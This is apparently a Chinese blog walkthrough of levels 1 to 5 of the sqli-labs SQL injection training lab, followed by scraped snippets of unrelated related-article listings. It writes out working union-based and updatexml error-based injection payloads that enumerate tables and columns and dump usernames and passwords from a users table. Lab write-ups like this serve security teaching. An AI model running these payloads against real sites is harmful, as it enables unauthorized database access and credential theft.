sqli-labs-master靶场通关
目录
一、sqli-labs第一关
1.判断是否存在sql注入
(1)提示输入数字值的ID作为参数,输入?id=1
(2)通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了
(3)接下来我们判断sql语句是否是拼接,且是字符型还是数字型
2.联合注入
(1)首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数
(2)爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的
(3)获取当前数据名和版本号,通过结果知道当前数据看是security,版本是8.0.12
(4)爆表
(5)爆字段名
(6)查询字段对应内容
二、sqli-labs第二关
三、sqli-labs第三关
四、sqli-labs第四关
五、sqli-labs第五关
一、sqli-labs第一关
1.判断是否存在sql注入
(1)提示输入数字值的ID作为参数,输入?id=1
(2)通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了
(3)接下来我们判断sql语句是否是拼接,且是字符型还是数字型
可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的
2.联合注入
(1)首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数
?id=1'order by 3 --+
?id=1'order by 4 --+
(2)爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的
?id=-1'union select 1,2,3--+
(3)获取当前数据名和版本号,通过结果知道当前数据看是security,版本是8.0.12
(4)爆表
information_schema.tables表示该数据库下的tables表,点表示下一级,where后面是条件
SELECT table_name FROM information_schema.tables WHERE table_schema = 'security';
group_concat()是将查询到结果连接起来
SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security';
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
(5)爆字段名
通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内,可以得到两个敏感字段就是username和password
(6)查询字段对应内容
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
二、sqli-labs第二关
进入sqli-labs-master靶场第二关,加入参数?id=1
当输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入
使用order by 判断数据库有几列:3列回显正常,4列出现报错,说明只有3列
?id=1 order by 3
使用联合查询union select判断回显位置
?id=-1 union select 1,2,3
发现2和3的回显,判断数据库名称
?id=-1 union select 1,database(),version()
查询到库名后查询库下所有表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
判断users表中下的字段名称
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
查询字段中的数据
?id=-1 union select 1,2,group_concat(username ,id , password) from users
三、sqli-labs第三关
进入sqli-labs-master靶场第二关,加入参数?id=1
加单引号判断闭合, 通过报错信息可以发现是以单引号和括号进行闭合的
?id=2')--+
使用order by判断数据库有几列:3列回显正常,4列出现报错,说明只有3列
?id=1') order by 3--+
使用联合查询union select判断回显位置
?id=-1') union select 1,2,3--+
发现2和3的回显,判断数据库名称
?id=-1') union select 1,database(),version()--+
查询到库名后查询库下所有表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
判断users表中下的字段名称
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询字段中的数据
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
四、sqli-labs第四关
根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入(与第三关步骤相同)
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
五、sqli-labs第五关
进入sqli-labs-master靶场第五关,加入参数?id=1
发现没有回显,判断闭合方式为单引号闭合
?id=1' and 1=1--+
?id=1' and 1=2--+
爆库名
?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
爆表名
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+
只有1列加入参数
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+
相关文章:

sqli-labs-master靶场通关
目录 一、sqli-labs第一关 1.判断是否存在sql注入 (1)提示输入数字值的ID作为参数,输入?id1 (2)通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了 (3࿰…...
hive sql 处理多层 json 数组
1. 背景 json 字符串值数据示例: {"score": 1,"submitTime": 1712491933,"answerFlag": 1,"groupId": 1755547960,"answers": [{"value": "[1, 2, 3]","ids": [4,5,6],"is…...
Dom 元素转换 Image 图片 (截图)
Dom 元素转换 Image 图片 (截图) dom-to-image dom-to-image NPM 官网文档 参考文章码上行舟 dom-to-image 是如何将 html 转换成图片的(文章参考) 安装 npm install dom-to-image --save 使用 /* in ES 6 */ import domtoimage from "dom-to-image"; /* in ES 5 *…...
零售业务产品系统应用架构设计(二)
ETC信用结算系统根据《加快推进高速公路电子不停车快捷收费应用服务实施方案》(发改基础〔2019〕935号),拓宽ETC发行服务渠道。推动建立全网协同服务模式,完善服务规则,鼓励银行业金融机构、非银行支付机构和互联网企业等服务机构紧密合作。允许ETC绑定既有银行账户和支付…...
Linux速成入门教程——从零基础开始快速入门,一文了解Linux用户管理与权限
2.1 用户与组管理 用户与组的基本概念 在Linux系统中,用户和组是管理权限和资源访问的基本单元。每个用户都有一个唯一的用户ID(UID),每个组都有一个唯一的组ID(GID)。用户可以属于一个或多个组ÿ…...
网工内推 | 宁德时代IT运维,晋升空间大,带薪年假,包吃包住
01 宁德时代 🔷招聘岗位:IT运维服务 🔷任职要求 1、大专及以上学历专业不限,应届毕业生或计算机、网络维护等相关专业优先; 2、具备较强的服务意识和良好的语言表达能力、沟通能力、记忆能力、心理承受能力和学习能力…...
Linux---系统安全
文章目录 系统安全系统账号清理密码安全控制命令历史限制终端自动注销如设置时间短的处理方式 使用su命令切换用户用途及用法密码验证限制使用su命令的用户查看su操作记录限制使用su命令的用户查看su操作记录su命令的安全隐患 PAM(Pluggable Authentication Modules)可插拔式认…...

手写数字识别实战
全部代码: import matplotlib.pyplot import torch from torch import nn # nn是完成神经网络相关的一些工作 from torch.nn import functional as F # functional是常用的一些函数 from torch import optim # 优化的工具包import torchvision from matplotlib …...
二叉树遍历
二叉树的遍历是二叉树操作中的一个基本且重要的概念,它指的是按照一定的规则访问二叉树中的每个节点,并且每个节点仅被访问一次。常见的二叉树遍历方式有四种:前序遍历(Pre-order Traversal)、中序遍历(In-…...
uni app 调用前置摄像头
uniapp开发app并没有相关Api调用前置摄像头。只能使用5app的api 调用前置摄像头拍照 plus.camera.getCamera(index) 获取需要操作的摄像头对象,如果要进行拍照或摄像操作,需先通过此方法获取摄像头对象 index指定要获取摄像头的索引值,1表…...

哈工大李治军老师OS课程笔记(4)——内存管理
一 内存使用与分段(实验六) 内存是如何用起来的? 内存使用:将程序放在内存中,PC指向开始地址 重定位:修改程序中的地址(是相对地址) 什么时候完成重定位? 编译时加基址…...
代码随想录算法训练营第43天:动态规划part10:子序列问题
300.最长递增子序列 力扣题目链接(opens new window) 给你一个整数数组 nums ,找到其中最长严格递增子序列的长度。 子序列是由数组派生而来的序列,删除(或不删除)数组中的元素而不改变其余元素的顺序。例如,[3,6,2…...

传智教育引通义灵码进课堂,为技术人才教育学习提效
7 月 17 日,阿里云与传智教育在阿里巴巴云谷园区签署合作协议,双方将基于阿里云智能编程助手通义灵码在课程共建、品牌合作及产教融合等多个领域展开合作,共同推进 AI 教育及相关业务的发展,致力于培养适应未来社会需求的高素质技…...

企业信息化建设搞得好了叫系统工程,搞不好叫面子工程
2024-06-13 09:26贝格前端工场...
程序员如何平衡日常编码工作与提升式学习?
在快速变化的编程领域中,平衡日常编码工作与个人成长确实是一个重要且富有挑战性的议题。以下是我对这一问题的看法和建议: 1. 认识到平衡的重要性 首先,理解两者之间的平衡并非零和游戏,而是相辅相成的。高效的编码工作能够为个…...

Linux---文件系统和日志分析
文章目录 文件系统和日志分析inode和block概述inode包含文件的元信息用stat命令可以查看某个文件的inode信息Linux系统文件三个主要的时间属性 目录文件的结构用户通过文件名打开文件时,系统内部的过程查看inode号码的方法硬盘分区后的结构访问文件的简单流程inode的…...

MySQL 体系架构
文章目录 一. MySQL 分支与变种1. Drizzle2. MariaDB3. Percona Server 二. MySQL的替代1. Postgre SQL2. SQLite 三. MySQL 体系架构1.连接层2 Server层(SQL处理层)3. 存储引擎层1)MySQL官方存储引擎概要2)第三方引擎3࿰…...

跨站脚本攻击漏洞
1.JavaScript JavaScript 是一种脚本,一门编程语言,它可以在网页上实现复杂的功能,网页展现给你的不再是简单的静态信息,而是实时的内容更新,交互式的地图,2D/3D动画,滚动播放的视频等等。 &a…...

RabbitMQ入门与进阶
RabbitMQ入门与进阶 基础篇1. 为什么需要消息队列?2. 什么是消息队列?3. RabbitMQ体系结构介绍4. RabbitMQ安装5. HelloWorld6. RabbitMQ经典用法(工作模式)7. Work Queues8. Publish/Subscribe9. Routing10. Topics 进阶篇1. RabbitMQ整合SpringBoot2. 消息可靠性投递故障情…...

Unity新输入系统 之 InputActions(输入配置文件)
本文仅作笔记学习和分享,不用做任何商业用途 本文包括但不限于unity官方手册,unity唐老狮等教程知识,如有不足还请斧正 首先你应该了解新输入系统的基本单位Unity新输入系统 之 InputAction(输入配置文件最基本的单位࿰…...

python打卡day49
知识点回顾: 通道注意力模块复习空间注意力模块CBAM的定义 作业:尝试对今天的模型检查参数数目,并用tensorboard查看训练过程 import torch import torch.nn as nn# 定义通道注意力 class ChannelAttention(nn.Module):def __init__(self,…...

遍历 Map 类型集合的方法汇总
1 方法一 先用方法 keySet() 获取集合中的所有键。再通过 gey(key) 方法用对应键获取值 import java.util.HashMap; import java.util.Set;public class Test {public static void main(String[] args) {HashMap hashMap new HashMap();hashMap.put("语文",99);has…...

[10-3]软件I2C读写MPU6050 江协科技学习笔记(16个知识点)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16...

多种风格导航菜单 HTML 实现(附源码)
下面我将为您展示 6 种不同风格的导航菜单实现,每种都包含完整 HTML、CSS 和 JavaScript 代码。 1. 简约水平导航栏 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport&qu…...

在WSL2的Ubuntu镜像中安装Docker
Docker官网链接: https://docs.docker.com/engine/install/ubuntu/ 1、运行以下命令卸载所有冲突的软件包: for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done2、设置Docker…...

如何在最短时间内提升打ctf(web)的水平?
刚刚刷完2遍 bugku 的 web 题,前来答题。 每个人对刷题理解是不同,有的人是看了writeup就等于刷了,有的人是收藏了writeup就等于刷了,有的人是跟着writeup做了一遍就等于刷了,还有的人是独立思考做了一遍就等于刷了。…...
Element Plus 表单(el-form)中关于正整数输入的校验规则
目录 1 单个正整数输入1.1 模板1.2 校验规则 2 两个正整数输入(联动)2.1 模板2.2 校验规则2.3 CSS 1 单个正整数输入 1.1 模板 <el-formref"formRef":model"formData":rules"formRules"label-width"150px"…...

GruntJS-前端自动化任务运行器从入门到实战
Grunt 完全指南:从入门到实战 一、Grunt 是什么? Grunt是一个基于 Node.js 的前端自动化任务运行器,主要用于自动化执行项目开发中重复性高的任务,例如文件压缩、代码编译、语法检查、单元测试、文件合并等。通过配置简洁的任务…...

基于SpringBoot在线拍卖系统的设计和实现
摘 要 随着社会的发展,社会的各行各业都在利用信息化时代的优势。计算机的优势和普及使得各种信息系统的开发成为必需。 在线拍卖系统,主要的模块包括管理员;首页、个人中心、用户管理、商品类型管理、拍卖商品管理、历史竞拍管理、竞拍订单…...
PostgreSQL——环境搭建
一、Linux # 安装 PostgreSQL 15 仓库 sudo dnf install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-$(rpm -E %{rhel})-x86_64/pgdg-redhat-repo-latest.noarch.rpm# 安装之前先确认是否已经存在PostgreSQL rpm -qa | grep postgres# 如果存在࿰…...